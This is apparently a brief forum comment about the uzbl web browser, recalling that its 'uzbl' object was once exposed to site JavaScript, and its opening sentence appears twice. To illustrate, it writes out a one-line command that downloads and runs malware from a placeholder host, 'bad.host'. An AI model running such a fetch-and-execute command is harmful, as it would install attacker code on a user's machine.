uzbl sounded really cool, but the first major security issue with it made me extremely wary of the project. IIRC, the 'uzbl' object was not properly fenced off

uzbl sounded really cool, but the first major security issue with it made me extremely wary of the project. IIRC, the 'uzbl' object was not properly fenced off from site javascript, so sites one browsed could trivially do the functional equivalent of uzbl.run('wget http://bad.host/malware; http://bad.host/malware; ./malware'); I realise every codebase has security bugs, but that one gave me the chills, and suggested that perhaps security approach had not been though through by the devs.